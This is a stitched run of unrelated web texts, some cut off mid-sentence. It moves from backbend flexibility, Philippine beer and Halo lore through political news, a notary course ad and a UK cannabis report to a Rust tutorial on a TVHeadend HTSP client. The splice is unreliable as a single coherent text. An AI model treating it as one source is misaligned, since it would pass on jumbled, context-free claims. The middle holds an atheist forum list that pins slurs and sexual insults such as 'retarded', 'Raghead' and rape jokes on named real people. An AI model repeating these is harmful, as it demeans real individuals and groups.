On a side note, you might notice that Tom and Phil actually look quite similar, however Phil insists he has a beard because he is a BIKER, not a hipster.Backbend flexibility. There are 3 different places the back bends. Everyone bends differently, but the most common area is the lower back. Think about it, there is no ribcage in our lower back to stop or hinder us from bending there.
The lower back usually opens up the fastest because of this reason. However, it can also get pinched easily if there is too much-forced compression. You want to think about lifting and extending through the hip, chest and throat joints to prevent lower back compression in the future.
The mid-back is more difficult to bend because the ribcage muscles have to learn to expand on the front side body.
In addition to that, the muscles along the back of the ribs have to learn to contract and bend. A lot of people hold stress/tension is this area, especially those sitting at a desk all day hunching forward. This puts stress on these muscles, which causes them to overstretch and become weak over time.
The neck is similar to the lower back. There isn’t much holding this set of joint back because there aren’t any bones surrounding the cervical spine. However, just like with the mid-back, many people hold stress/tension is this area.
The neck is a very important part of back bending, especially in cheststands because you need to extend and elongate to prevent pinching in the neck.
If you like our stories, there is an easy way to stay updated:
Follow @verticalwise
Below are three examples of the backbend discussed above.
The above photo shows flexibility only in the lower back. Above that, the back is completely straight and the booty sits on the mid part of the back. Thus, making this a backbend that is localized in only a few lumbar vertebrae.
Here we see the bend is more or less equal along the whole back. The backbend isn’t completely in just one area. The entire spine is being utilized to create the bend in the back. The booty is now over the crown of the head rather than sitting on the back itself.
In this photo we notice the most dramatic bend is in the neck. The upper, mid, and lower back are completely wrapped around the head. And the booty has shifted even more forward in front of the head and face.
Read also: Expert flexibility secrets by Betsy Shuttleworth to take your contortion skills to the next level
If you like our stories, there is an easy way to stay updated:
Follow @verticalwiseOf beer producing countries, the Philippines doesn’t end up high on many Aleheads’ lists. Perhaps because there are only two breweries (both macros), and perhaps Manny Pachiao just hasn’t marketed strongly enough to US markets. While the craft beer revolution hasn’t caught on yet in the Philippines, it wasn’t going to keep me from drinking beer for ten weeks.*
*if you were wondering why I had been absent for the site, here is the reason… ok, I know no one even noticed I was gone
Of the two breweries, San Miguel by far dominates the country, and their pale swill is found everywhere. They produce three widely available brews, and several more I never even came across, but supposedly exist.
San Miguel Pale Pilsen, 5.0% ABV – The standard San Mig beer. Tastes identical to any American adjunct lager, and standard for a beer from a tropical country. Watery and nothing to write home about, but tastes good enough ice cold* when nothing else is available. 1 Hop.
*Filippinos frequently drink their beer with ice in it!!! Yeah, I thought it was blasphemous as well, until I was faced with drinking warm beer (fridge space isn’t common in the rural parts of the county). When in Rome, do as the romans do. When in the Philippines, drink ice in your beer, or drink it 95 degrees.
Red Horse, 6.9% ABV – Like two San Migs with half the water. This is an absurdly (and dangerously) strong beer when it is very hot and you are very thirsty, as there is no hint of alcohol in the taste. This was my standard beer in-country. 1.5 Hops
|
|
|
|
|
|
San Mig Light, 5.0% ABV – Like someone drank half a bottle of San Mig, and then filled it with water. I have to be honest, it was pretty bad, and may be able to give Natty light a run for its money. I award 0 hops, and may god have mercy on your soul.
*Editors note: Um, what happens if we pan a bit to the right in that photo. And Hordeum, what exactly were you doing in the Philippines for ten weeks???
Unfortunately, I never got to try Cervesa Negra, the dark beer, or the rival breweries flagship “Beer na beer” (roughly translates in English to “Beery beer”).
Now, we Joes can learn from one thing from Philippine drinking culture: Drunk food. Yeah, I know we have our pizza and fried butter, but Filippinos actually have a single vocabulary word for snacks when they drink: “Pulutan.” Well done, my friends. A large portion of my favorite dishes were served as pulutan: Kinilaw (ceviche with ginger), Sisig (sizzeling pork face with lime.. no, seriously, it’s great!), deep fried pork, pork on a stick, deep fried fish, fish on a stick, etc. The classic Americano gross-out-food balut (boiled fertilized duck eggs) almost always is eaten when drinking, probably because its a boiled fertilized duck egg. According to the internet, even monitor lizards and extinct birds can be pulutan!
So I wouldn’t go out of your way to try Philippine beer, but it certainly does the job in a pinch.(trigger warning for blood)
Thin privilege is not worrying about whether or not you deserve to be given medical help for possible illness.
I, nearly a year ago, developed pains in my lower right stomach. At first, the pains showed to be typical appendicitis pains and I was told to get straight to a hospital by my regular doctor if they so worsened. They did not. They did not develop into appendicitis and we were then left to work out what was wrong. I had to have blood tests, and nothing showed. The pain was not just in my right side, but also showed it my left and did no longer match appendicitis. It was impossible to get to my regular doctor, and as the pains hadn’t subsided so I went to another doctor.
I had more blood tests, |
looking back to the Kradal conflicts which have been mentioned a few times. In Halo 2 Anniversary’s multiplayer, the map Warlord bears this description:
“This site pays homage to the Kradal conflict, a sombre Forerunner civil war which saw the loss of countless warriors.”
The Kradal conflict took place prior to the Human-Forerunner war, and is also notable for being when the Suppressor came into use. As a result, Requiem may well be one of the last true reliquaries of Warrior-Servant architecture left in the galaxy.
‘May well have been‘, I should have said, because Requiem was destroyed. Another piece of Forerunner history, a piece of culture, lost forever.
I don’t really have an overall point to round this off on, other than to say that we’ve only seen a fraction of Forerunner history reflected through their architecture. I raised the point in my last post about human-Forerunner origins that the Lord of Admirals and the Didact visited worlds which had connotations of both human and Forerunner architecture.
We also see the preserved ruins of ancient Forerunners as well in Halo 2’s campaign, but are given only a brief tour of them and only speculative information from Cortana to go on. The art design bears a stunning similarity to what we see in Halo Wars on Arcadia when you encounter the ‘Super Scarab’, but information there is even more limited. Whether Forerunners even had rates back in those days is… very unlikely. I guess that what I want to say here is that you shouldn’t just look at the differences in art design between Bungie and 343 with a scowl and say how one ‘dishonours’ the other. Look at those differences as something enriches the Halo universe by showing us this greater diversity of historical periods through details in the architecture, it’s all bound together in the lore and is presented to us as a puzzle to put together.
You’re far more likely to have an enriching experience with Halo’s campaigns yourself if you play through them while thinking a bit more deeply about these things. When wondering why these things are different, consider:
Who built these structures?
When was the time period it was constructed?
Where else have we seen this style?
How do we pinpoint the rate were they from?
What does this tell us about Forerunner history?
Once you find yourself answering these questions, you’ll discover that all those wonderful artists and designers from Bungie and 343 who poured their time and vision into bringing these things to life are complimenting each other and the Halo universe, not contradicting.Choobus I Live Here
Join Date: Apr 2005 Location: prick up your ears Posts: 20,553
I propose that the title of shitlord be bestowed upon the most deserving theist every week.
For her exemplary work, and for annoying the incredibly patient Tenspace it seems clear that the original shitlord must be the one and only Francis.
Francis, I declare you to be shitlord #1
congratulations you shitsucking dad-wanker!
The List of Lords
--------------------------------------------------------------------------
2006
Francis, Shitlord I DEMOTED FOR CONDUCT UNBECOMING OF A SHITLORD (The original, Shitlord, now sofa king retarded)
Canuckfish, Shitlord II (The "number 2" of Shitlords)
Barack Obama, Shitlord III (Shitlord "the turd")
Holopupenko, Shitlord IV (The merde de la merde of Shitlords)
Hagios, Shitlord V (Defender of the faeces)
JohnR7, Shitlord VI (The porcelain poobah)
Greatmuslim10, Shitlord VII (Master of the bowels of jizzlam)
Zukiful, Shitlord VIII (The Sultan of scat)
Jack Heintz, Shitlord IX (commander of the crapture)
Francis Collins, Shitlord X, (Ass Raper of Gnomes)
Andy Holland, Shitlord XI (ruler of the retarded)
Katharine Harris, Shitlord XII (keeper of the crypt)
Joey "benedict" Ratz, Shitlord XIII (The Great Defecator, ruler of the holy pee)
L. Brent Bozell, Shitlord XIV (Bearer of the Shitstained Cucumber)
(The Real) Frank Walton, (Real) Shitlord XV (commander of the commode)
Stephen Baldwin, Shitlord XVI (guardian of the outer rim and monger of all cheese)
pRick Santorum, Shitlord XVII ( gargler of the fecal froth)
Ted Haggard, Shitlord XVIII (Hypocritical Homo Hater, tweaker of the crystal, catcher of the lie)
*Deepak Chopra, Shitlord XIX SLOTY 2006 (stirrer of the brown cauldron and licker of the shitstained cucumber)
Marcus Stafford, Shitlord XX (penetrator of the cherubic buttocks)
--------------------------------------------------------------------------
2007
Pat Robertson, Shitlord XXI (Squinter of the outhouse, poker of the Deepak rectum )
George W Bush shitlord XXII (Son of the Kraken and keeper of the pet goat)
Pat Boone Shitlord XXIII (defender of the implausible and grand sewage overlord)
Warren Chisum shitlord XXIV (gargler of the frothy jizz, king of the hobos)
Samuel J. Hunt Shitlord XXV (Jester of the tubes and commodor of the great colon)
*Dinesh D'Souza, Shitlord XXVI SLOTY 2007 (felcher of the grand douchewizard and lord of the foul odour)
Chuck Norris, Shitlord XXVII (Wanker Texas stranger, and sniffer of the gusset)
Al Sharpton, Shitlord XXVIII (attention whore and master of the queefy coif)
John McCain, Shitlord XXIX (Presidential Pants Dropper for Shit Insertion)
Jerry Seinfeld, Shitlord XXX (Cretin of Thetans, Wretched Whore of the Galactic Confederacy)
Richard Roberts, Shitlord XXXI (Orally Dicked and Purveyor of Holes of Glory)
Mitt Romney, Shitlord XXXII (Moroni's Meathead Mormon Moron)
--------------------------------------------------------------------------
2008
Michael Medved, Shitlord XXXIII (Seat-Splasher and Limbaugh Lite of Logorrhea).
Ben Stein, Shitlord XXXIV (Pebbledashed Currystain and Follow-through of the Vindaloo)
Missionary, Shitlord XXXV (The Lord who puts the shit in Bullshit)
Bill Donohue, Shitlord XXXVI (League of One Extraordinary Douchebag)
Elizabeth Dole, Shitlord XXXVII (Lady of the Anal Labia)
Adnan Oktar, Shitlord XXXVIII (Top Turd of the Turks)
Sarah Palin, Shitlord XXXIX (The Stupid Bitch From Alaska)
The (Ex-)Raving Atheist, Shitlord XL (The Crapulent Cling-on Convert)
--------------------------------------------------------------------------
2009
Stephen Green, Shitlord XLI (The Soiled Skidmark Supreme)
Danny Nalliah, Shitlord XLII (The Anus of Oz)
Cardinal Cormac Murphy O'Connor, Shitlord XLIII (Brit-Bog Catholic Crapstain)
Dave Schultheis, Shitlord XLIV (Stinking Shithouse Supreme)
Don McLeroy, Shitlord XLV (Congealed Creationist Crapper)
Gingi Edmonds, Shitlord XLVI (Pro-life Pooper & Pebbledasher of the Stained Pan)
Pat Buchanan, Shitlord XLVII (Constrictor of the Bowels)
Tony Blair, Shitlord XLVIII (Loose Liar of the Long Log Drop)
Sally Kern, Shitlord XLIX (Poopy Proclamator of the Diaretic Diatribe)
Rick Warren, Shitlord L (Slippery Stall-Hog and Hater of teh Gays)
Ray Comfort, Shitlord LI (Plagiarising Ploppy Pooper)
Ken Ham, Shitlord LII (Dinosaur Dropping Dingbat)
Kirk Cameron, Shitlord LIII (Crazy Crocoduck Crapper)
Ayatollah Ali Khamenei, Shitlord LIV (Raghead Reamer Extraordinaire)
Charlene Werner, Shitlord LV (Shit Spouting Homeopathetic Headcase)
2012
Baroness Sayeeda Warsi, Shitlord LVI (Unelected Slurper of the Papal Scrotum)
2015
Eric Pickles, Shitlord LVII (Multi-chinned lard-arse of corpulent crap)
Mike Huckerbee, Shitlord LVIII (Courter of the Kentucky Krone) You can always turn tricks for a few extra bucks. If looks are an issue, there's the glory hole option, but don't expect more than... tips.
~ Philiboid Studge Last edited by Smellyoldgit; 09-18-2015 at 10:21 AM.Have you read the latest? ‘Twitter has reacted angrily….’ Yes it’s that opening sentence to reports which has become all-too-familiar these days. I suppose it’s a sign of our infantile, perpetually angry era. And the current something generating online fury is the news that Warner Bros is to remake Lord of the Flies with an all-female cast.
Reports that William Golding’s classic 1954 novel will return to the cinema, this time featuring girls, has ‘provoked outrage’ from female writers who, says The Times, have ‘savaged’ it. They argue that the tale of marooned schoolboys who descend into barbarism is an allegory of the innate violent nature of men. Roxane Gay, author of Bad Feminist, wrote on social media: ‘An all-women remake of Lord of the Flies makes no sense because the plot of that book wouldn’t happen with all women.’ The American writer Rachel Syme also responded: ‘The thing about Lord of the Flies is that it’s about systemic male violence and how it replicates.’ Leaving aside that dreadful mot du jour, ‘systemic’, a cliquey non-word which instantly sets the bullshit alarm bells ringing, what is intriguing in this episode is the double standards afoot. Were a man to talk in public of the different inherent characteristics of men and women, he would be accused of ‘biological determinism’ or lose his job – which is exactly what happened to a Google employee the other week.
There has always been three kinds of feminist. First, there are the determinist types who champion the cause of women because they think the ‘fairer sex’ are by nature more peaceful and cooperative than men. Then there are the egalitarian, blank-slate types, who champion the cause of women because they regard them as no different to men and want equal treatment. And then there is today’s most common type of feminist, the one that miraculously manages to hold both these viewpoints simultaneously – that women are special and different, but also equal and the same. This cognitive dissonance accounts for the confused and bellicose nature of feminism today. An all-female Lord of The Flies scenario wouldn’t be free of violence and hatred. If we are to indulge in gender cliches, as the ‘outraged of Twitter’ insist, I imagine that a group of young women marooned on an island would end up verbally bullying and bitching about each other, changing best friends and enemies on a monthly basis, as is the norm at all-girls’ schools. They’d be calling each other slags behind each other’s backs and decrying what an awful dress sense that slut has. ‘Have you seen what she’s wearing?’ There would also be shrieking, name-calling, hair-pulling and face-scratching, as happens at pub closing time around Britain at weekends.
The feminist writer Camille Paglia, a biological determinist of a sort, once argued that if the human species had no men, Homo sapiens would still be living in mud huts. It’s men who are responsible for progress, she wrote, as well as being responsible for wars. A group of women left marooned on an island might not start killing each other, but they wouldn’t get anything constructive done. In truth, when left in desperate circumstances, any difference between men and woman evaporates. We’ve seen this at it’s most superficial on television with Big Brother, where the contestants become just as awful and conniving and scheming as each other. More grimly, leaf through Anne Applebaum’s recent book, Red Famine: Stalin’s War on Ukraine, which documents how starving Ukrainians were even sometimes reduced to eating their own children. It’s a stark reminder that all of us, women and men, revert to a brutal Hobbesian state of nature when civilisation breaks down. Anger and ‘outrage’ are reminders of the savage within. Islamophobia isn’t the problem, PC isWhen the Boston Celtics traveled to play their sixth-to-last game of the regular season on Saturday, they left Paul Pierce and Kevin Garnett behind in New York, where the pair would wait to rejoin the team for Tuesday night's game against the Knicks.
What's so notable about that, you ask? Well, neither future Hall of Famer was especially injured (other than the typical aches and pains associated with veterans in their mid-30s -- Pierce was nursing a jammed left big toe, for instance), Boston is still neck-and-neck with the Orlando Magic and Atlanta Hawks for the fourth seed in the East (meaning home-court advantage in the first round of the playoffs) and the team's backup situations at small forward and center heavily feature such flotsam as Mickael Pietrus, Greg Stiemsma and Sasha Pavlovic.
Then again, the opponents were the miserable Charlotte Bobcats. And the Celtics did go on to win by 12 behind Rajon Rondo's 20-point, 16-assist effort.
Some of that underscores how awful Charlotte has been this season, but it also says a lot about the level of trust Doc Rivers and the Celtics organization have in Rondo. Over his five seasons playing alongside the Big Three of Garnett, Pierce and Ray Allen, Rondo has gone from being an erratic 21-year-old -- considered by many to be the weak link in Boston's championship-level lineup prior to the 2008 season -- to the team's unquestioned floor general. This transformation has led Rondo to be widely recognized as one of the best pure point guards in the NBA.Donald Trump speaks at a press conference before delivering the keynote address at the Genesee and Saginaw Republican Party Lincoln Day Event Aug. 11, 2015, in Birch Run, Michigan. (Photo by Bill Pugliano/Getty Images)
Something remarkable has been happening for the past six weeks: Donald Trump is no longer utterly dominating television coverage of the 2016 presidential race.
The timeline below shows the total number of mentions per day of each of the major candidates of both parties on national television networks Aljazeera America, Bloomberg News, CNBC, CNN, Comedy Central, FOX Business, FOX News, LinkTV and MSNBC since June of this year (when Donald Trump formally entered the race). Within a week of entering the race Trump (seen in light blue) utterly dominated television mentions of the candidates. However, starting Sept. 20, in the aftermath of the second Republican debate, Trump’s total daily mentions drop precipitously and have never recovered.
Total mentions of all candidates across major national television networks since June 16, 2015
Converting from raw mentions to the percent of all mentions garnered by each candidate, the timeline below shows that since his entrance into the trace Trump accounted for 40-50 percent of all television mentions of candidates from either party. Since October he has accounted for just 20-30 percent of all mentions, with Clinton, Bush, Carson, and Rubio all enjoying greater coverage. Fiorina’s bump in coverage after the second GOP debate has largely faded, while Carson and Rubio both seem to be on the upswing.
Mentions of each candidate as a percent of all mentions of any candidate
The Internet Archive and I also used audio fingerprinting technology to break up the entire debate into soundbites, track how often each soundbite was excerpted across major U.S. domestic television networks over the following 24 hours, and create an interactive visualization of which comments went “viral” on television. You can access the interactive visualizations of the undercard and prime debates yourself and filter by candidate, keyword, channel, and show.
Lindsey Graham was the overwhelming winner of the undercard debate, garnering 77 percent of the excerpts from the debate over the subsequent 24 hours being his statements. His most viral remark, excerpted 23 times, was an attack against Clinton and Sanders, while his second most popular was his “clenched fist or an open hand” remark on how he would work with the Chinese government.
Graham’s upward trajectory in the debates offers an object lesson that debate performance does not necessarily equal poll performance. In the first undercard debate his statements were the third-most excerpted, in the second they were 52 percent of all statements excerpted, and in the third they accounted for even more. Yet, Fox Business announced that due to his poor polling numbers he is being cut from next week’s GOP undercard debate. On the other hand, Santorum and Jindal, whose comments in all three undercard debates have earned little subsequent airplay, will both continue on to the fourth debate.
Though he won the prime debate, Trump continued his decline in viral soundbites, from 32 percent of excerpts of the first debate, to 27 percent in the second, to 19 percent in the third. In fact, Rubio’s responses accounted for almost as many airings, at 17 percent. The four most viral statements were each from a different candidate and all were negative: Cruz’s attack on the moderators (this was later echoed by Christie), Rubio’s attack on Bush, Bush’s attack on Rubio, and Trump’s attack on Kasich.
Percent of excerpts from third GOP prime debate spoken by each candidate
This time there was also substantial variation in the attention each network paid to each of the candidates. Rubio beat Trump for first place on Al Jazeera, FOX News, MSNBC, PBS affiliates, Telemundo, and Univision. Bush was the most popular on Bloomberg, Huckabee on FOX Business, and Cruz on NBC affiliates.
What can we learn from all of this? Perhaps most significantly, television networks appear to have finally tired of Trump, even as overall coverage of the election as a whole has reached its highest levels of 2015. Even his debate performances appear to be slipping, with his remarks accounting for a steadily decreasing percentage of the excerpts airing in the days after each debate.
Conversely, even as Graham’s edge in the undercard debate has increased dramatically, he has been bumped out of the debate schedule entirely. This suggests that either debate performance is not linked to poll performance, or that the excerpts that television networks choose to focus on from the debates are not indicative of how average Americans see the debates in terms of winners and losers.
Either way, with Trump continuing to fall in both overall mentions and debate excerpts, it leaves open the question of whether we are seeing the end of the Era of Trump or whether winning and losing on television no longer means winning or losing at the polls and we are instead seeing the end of the Era of Television in American politics.
Kalev Leetaru is a senior fellow at the George Washington University Center for Cyber and Homeland Security. He thanks the Internet Archive’s television news archive for the use of its data in this analysis and Roger MacDonald, Trevor Von Stein, Kyung Lee, Jake Johnson and the rest of the television team for all their work in preparing the transcripts and running the fingerprinting analysis.The American economy moved into a higher gear last quarter, expanding at an annual rate of 2.9 percent and riding continued strength among consumers and a better performance in global trade.
The Commerce Department’s report on the nation’s gross domestic product, released Friday, is the next-to-last snapshot of the overall economy before voters go to the polls on Nov. 8. Americans will also get to gauge the economic fortunes of the nation from the monthly unemployment figures to be released on Nov. 4.
While the pace of economic growth in the third quarter fell well short of previous achievements, the latest data represented a significant improvement from the first half of 2016 and the best quarterly advance in two years. Economists also said the gains were probably strong enough to reassure Federal Reserve policy makers that it was safe to raise the benchmark interest rate when they meet in December.
“This is a good, solid number,” said Gus Faucher, deputy chief economist at PNC Financial Services in Pittsburgh. “The economy is growing at a decent clip. Consumer spending will continue to lead growth, and the fundamentals there remain positive.”The U.S. consulate in Jerusalem is among U.S. embassies and consulates using, since May 25, a three-page questionnaire asking some visa applicants for information including social media names and email accounts. File photo by Debbie Hill/UPI | License Photo
June 2 (UPI) -- U.S. embassies have begun asking new visa applicants to disclose their social media accounts as part of a new questionnaire approved by the Office of Budget and Management.
A voluntary, three-page questionnaire, supplemental to the visa application process, was rolled out on May 25 as a temporary measure in response to President Donald Trump's May 6 memo calling for enhanced screening. Trump called for "extreme vetting" of foreigners seeking to come to the United States as he ran for the presidency.
The questionnaire asks applicants for all email names and names used on social media accounts -- their Internet "handles" -- in the past five years, as well as passport numbers, travel histories, sources of funding for trips, employment histories, and names of spouses or partners in the past 15 years. Disclosure of passwords is not requested, although the Trump administration earlier considered that requirement. It advises that, although the responses are voluntary, a lack of answers to questions could delay the visa process.
The State Department estimates that about 65,000 of 13 million annual visa applications will be subject to extra scrutiny.
A State Department spokesperson said the requested social media information will apply to those "who have been determined to warrant additional scrutiny in connection with terrorism or other national security related visa ineligibilities."
During a public comment period prior to the approval of the new rules, the American Civil Liberties Union called the questionnaire overly broad, adding that social media information would imperil the privacy and freedom of applicants and of any U.S. citizens with whom they may have communicated.
Betsy Lawrence of the American Immigration Lawyers Association said information provided on the questionnaire could be difficult to document, and a simple error in answering questions could create a suspicion of fraud.
"There are already screening protocols in place, and we have seen significant delays for legitimate travel to the United States for family or work purposes. This might create even greater barriers for people," Lawrence said.Recorded 5-hr. Notary Class, 30-days 24/7 Internet Access.
99% + Passed NY State Notary License Requirements 1st Try.
28,000 Students Since 2002!
Free Membership In The N.Y.S. Notary Association included.
"Best Online Adult Education Award NY State" 2015, 2016, 2017.
Fastest & Easiest Way To Get your NY Notary Public License.
5 Hrs. self paced with 30 days access to repeat all you want.
Interactive practice exams that review wrong answers!
Handouts that can be downloaded or read in course module.
7 video training sessions of what we do live in hotels.
Easy exam scheduling for weekly exams near your location.
Makes getting a Notary Public license like getting a driver's license!
START YOUR ONLINE NY NOTARY LICENSE CLASS NOW
ONLY $77
This Online internet cloud hosted NY Notary Class is the fastest, most efficient and entertaining way to get qualified to pass the NY State exam in as little as 10-20 minutes on average for our students! The system will email you the login instructions and password when payment is complete. You will have 30-days access. You can do it in just 1-day. Paypal will email you a receipt. You will be getting 2 separate emails so check your spam file if you do not see it within 10 minutes. Any problem call (347) 427-9091 immediately. Your email address is your user ID. PRICE $77 for 30-days Access. No refunds once class begins as you have already received valuable downloads,videos, quizzes, exam tips & strategies. Lifetime Membership in the NYS Notary Association is included with monthly refresher training and procedures hot-line phone number.
WARNING: Do not take a cheap imitation course. Read our NY Notary Classes testimonials from those people who were robbed of their valuable time and money by internet marketers. This is the only advanced, self-paced, video-interactive, practice quiz platform, New York State online Notary Public Licensing course. You can watch as many-times as you need and take practice quizzes as many-times as you want. Everything is here that you will need to get licensed fast! There are also printed materials like the NYS Notary License Law included FREE for download. Remember the old saying which is very true, "You get what you paid for." This is self-paced...no-pressure...so do not procrastinate and get your license now. Our ESL (English Second Language) Students do very well!
The quizzes are intuitive... which means they will teach you why you got a question wrong... and help you until you are scoring 100% on your own comprehensive data-base of NY Notary Exam exam topics. You only need 70% correct on 40-multiple choice state exam questions to qualify for life. You should be laughing in the actual state exam and enjoying it while you ace it!
All the written materials are included that you can get at our live classes. We have an over 99% success rate since 2002.
You will have access to this course for 30-days. It is possible to do it all in just 1-day. You will get a New York completion certificate too....so your employer can reimburse you! 95% of employers say yes when you ask!
The course is Guaranteed for you to pass the New York State State Notary Public Licensing Exam in 15-20 minutes on average. Less than 1% of our students have had to repeat the course for free. If you repeat you will be given a free 30-day repeat but you need a failed slip within 6 months. (Only 1% repeat!)
BONUS: FREE lifetime N.Y.S. Notary Association membership and continued education is included!
Access Length: 30 days No refunds After access of Info.
Price: 77.00 USD CLICK-HERE TO BEGINTap (one half of Germany's 1974 mascot)
You got…
You should work for us
Well done, but think about getting out of the house more often
You're almost as good as Zidane
You could be going to the World Cup if you keep performing like this
You're not top four material yet, but maybe next year
Better than 'not bad', worse than 'brilliant'
Some people view Europa League qualification as an achievement
Mid-table mediocrity
You're good, in a Danny Murphy kind of way
Top half of the table. Just
You're Joe/Josephine average
Bottom half of the table
Not bad. Not good either, mind
Perhaps you're more of a cricket fan?
Hmmm. So where do we start?
Come on. Some of them were giveaways
Perhaps this isn't your field
That's a shocking display. And you know it
Go home and have a long, hard think about this
Go home and have a long, hard think about this. And then think some more
Bravo. There's actually a kind of strange glory in this resultMore than twice as many secret cannabis factories were found in past year as four years ago, chief constables' report reveals
Clandestine cannabis factories are booming in Britain, with the police detecting more than 7,800 in the past year – more than double the number found four years ago.
Chief constables say the rise in illicit cannabis production is being fuelled by the increasing involvement of organised crime groups, who see it as a "low-risk and highly profitable criminal business".
But the police also acknowledge that the recession and pressure on household budgets has led to a rise in a "grow your own" trade, with intelligence reports showing an increase in sales of seeds and equipment from local "head shops" to customers wanting to grow a few plants at home for their own use.
The third "problem profile" of UK commercial cultivation of cannabis, published on Monday by the Association of Chief Police Officers (Acpo), says police have seized more than 1.1m plants with an estimated street value of £207m in the past two years.
The survey, published every two years, confirms a majority of the cannabis used in Britain is now home-grown rather than imported, with some claiming more than 80% is intensively cultivated domestic herbal cannabis.
But police chiefs say there is a shift away from large-scale cannabis factories in disused industrial and commercial buildings such as empty cinemas, shops and banks back to smaller houses and flats, often on suburban streets. The organised crime gangs behind the trade in home-grown cannabis are reacting to police crackdowns by moving away from large-scale premises to employing a large number of "gardeners" to operate small-scale "grow sites" or factories across several residential areas. "This spreads the risk and minimises the potential for detection and financial loss," says the report.
It acknowledges there has been a proliferation of users claiming to be involved in growing plants at home for personal use. It says the economic downturn and a fall in the weight of the average street cannabis deal have been accompanied by a rise in the amount of home-grown cultivation for personal use.
This has also led to a rise in the amount of home-grown cannabis being supplied to friends and acquaintances through "social dealing".
But the report says in many cases the number of plants seized in raids is well above 25, which is regarded as the legal minimum to be prosecuted for commercial cultivation and for which the indicative minimum sentence is two to five years.
The police say they assume anyone who grows more than 10 plants is likely to have a surplus and therefore to be supplying others.
Police say 7,865 cannabis farms or factories were detected in Britain in 2011-12, compared with 6,866 in 2009-10 – a 15% rise since the last time the UK problem profile was published. Just over 3,000 were detected in 2007-08.
Police chiefs estimate the crime figures for the year to March 2012 will show 16,464 offences recorded for commercial cannabis production compared with 14,982 for 2010-2011.
The report plays down previous claims that so much cannabis is being grown in Britain that it has become a net exporter. "Intelligence indicates that UK organised crime gangs may supply drugs to the continent to fill a gap in the market but there is no evidence of widespread export," it says.
The Acpo report admits that tackling cannabis factories is not considered a priority for most British police forces, with operations to tackle the supply of class A drugs such as heroin and cocaine a higher priority. The police also see the dismantling of cannabis factories as a short-term solution which misses opportunities for further investigation into other potentially linked factories.
Allan Gibson, of Acpo, said: "Commercial cannabis cultivation continues to pose a significant risk to the UK. Increasing numbers of organised crime groups are diverting into this area of criminality but we are determined to continue to disrupt such networks and reduce the harm caused by drugs.
"This profile provides a detailed analysis of the current threat from commercial cultivation of cannabis and the work undertaken by law enforcement agencies to combat the threat. It provides a framework to facilitate future planning and decision-making for preventative, legislative and enforcement activity to make the UK a hostile environment for cannabis cultivators."
• This article was amended on 30 April 2012. The original said 1.9m cannabis plants had been seized in the past two years. Acpo has since corrected its figures to 1.1m.You can follow the progress of this project on GitLab. This post covers the first few commits.
If you want to follow these posts, you’ll need following things:
A working TVHeadend installation, if you want to exactly copy this;
Rust installed on your development machine
Some knowledge of the Rust programming language; you might want to have read the (online) Rust book;
Some imagination; I’m writing this after the facts.
I have recently been interested in teaching myself Rust, which is a programming language focussed on performance and safety.
I am writing this article mostly as a reference to tokio for myself and for others; it’s assumed that you have some Rust knowledge. Most tokio documentation implements a server, as Rust is especially useful for servers, because of its performance and safety features. What I wanted to accomplish was to write a client for tvheadend, which is a free TV DVR system for GNU/Linux and other operating systems.
My main goal with this library is to provide an interface to TVHeadend’s API through its “proprietary” htsp protocol, so I can write some high level applications that interface with my TVHeadend systems.
The protocol is documented on a high level here, and the messages encoding scheme can also be found. I call the protocol “proprietary” because for one, only TVHeadend and Kodi implement it, as respectively server and client, and second, because its implementation is the best source of documentation.
So, enough talk, let’s get our hands dirty, shall we?
Creating a new project
I’ll be using cargo, Rust’s package manager and project manager, throughout the whole project. This project consists of a library, so we’ll create a shiny new project first:
cargo new htsp cd htsp
Now, the first thing I did, was to add some dependencies. You’ll probably do that on a as-required basis yourself, but in any case, it is useful to have a look at your project configuration file Cargo.toml.
I added tokio_core and byteorder as dependencies; the first one is useful for TCP and socket related stuff, the latter one deals with big endian and little endian conversion.
[dependencies] tokio-core = "0.1" byteorder = "1" log = "0.3" [dev-dependencies] matches = "0.1.4"
I also added log, which provides some macro’s that’ll print messages, but doesn’t interfere with the main executable if they don’t want to. The dev-dependency matches provides the macro matches!, which is useful when implementing tests.
I immediately import both crates into my project by altering the lib.rs file:
extern crate tokio_core ; extern crate byteorder ;
that way, we can use them throughout the whole project!
Implementing the codec
I started off by implementing the codec, which is the part of the protocol that encodes and decodes the messages. I mostly built the serialization to the specs, which I then only could really test Therefore, I started a new file, message.rs, in which I’ll implement the serialization of messages. In lib.rs, you should declare the new module:
mod message ;
By reading the htsmsg spec, it seems like a binary protocol. As it turns out, Rust is pretty neat in handling these thing.
Anyhow, there are five kind of field types in a message, and a message is basically a map. I added these types in a comment in the messages.rs file, for my own reference during implementation:
// ||Name||ID||Description // ||Map ||1 ||Sub message of type map // ||S64 ||2 ||Signed 64bit integer // ||Str ||3 ||UTF-8 encoded string // ||Bin ||4 ||Binary blob // ||List||5 ||Sub message of type list
The most Rust-y way to implement the notion of “a field is either of these”, is probably an enum:
struct MapMessage ; struct ListMessage ; pub enum HtsMsgField { Map ( MapMessage ), S64 ( i64 ), Str ( String ), Bin ( Vec < u8 > ), List ( ListMessage ), }
There is a bunch of stuff happening here; we’re specifying that several HtsMsgField types contain certain extra information. The Map type contains a MapMessage, which in turn will consist of different (name, HtsMsgFields) pairs, the List type is the same idea, without the key, and S64, Str, and Bin can all be implemented in terms of already existing types.
We’ll create a field fields in the MapMessage and the ListMessage, in which the Map and List contents are stored.
pub struct MapMessage { fields : HashMap < String, HtsMsgField >, } pub struct ListMessage { fields : Vec < HtsMsgField > }
As the MapMessage and ListMessage both contain the same kind of data, we’re able to abstract over the contents a bit when decoding.
I’ll restrict this article to the implementation of MapMessage, everything else can be done in an analoge way, and would be too boring to list up here.
use tokio_core :: io :: EasyBuf ; impl MapMessage { pub fn decode ( buf : & mut EasyBuf ) -> io :: Result < Self > { let extractor = FieldExtractor :: extract ( buf ); let items : io :: Result < Vec < _ >> = extractor.collect (); let fields = HashMap :: from_iter ( try! ( items )); Ok ( MapMessage { fields : fields, }) } pub fn encode ( & self, buf : & mut Vec < u8 > ) -> io :: Result < () > { for ( name, value ) in & self.fields { try! ( value.encode ( name, buf )); } trace! ( "Encoded map msg" ); Ok (()) } }
So, that decoder constructs a HashMap from binary data, using FieldExtractor. We can also use the FieldExtractor in the ListMessage, by discarding the field name after extraction. Or even better; as the spec requires the field name to be empty, we can return an error while mapping over the items iterator.
For the details, you can check out my message.rs. The map an sich is not so difficult to construct, but you’ll need to keep your attention. I use a lot of Result::from_iter to convert between Vec<Result<_,_>> and Result<Vec<_>,_>, which really comes in |
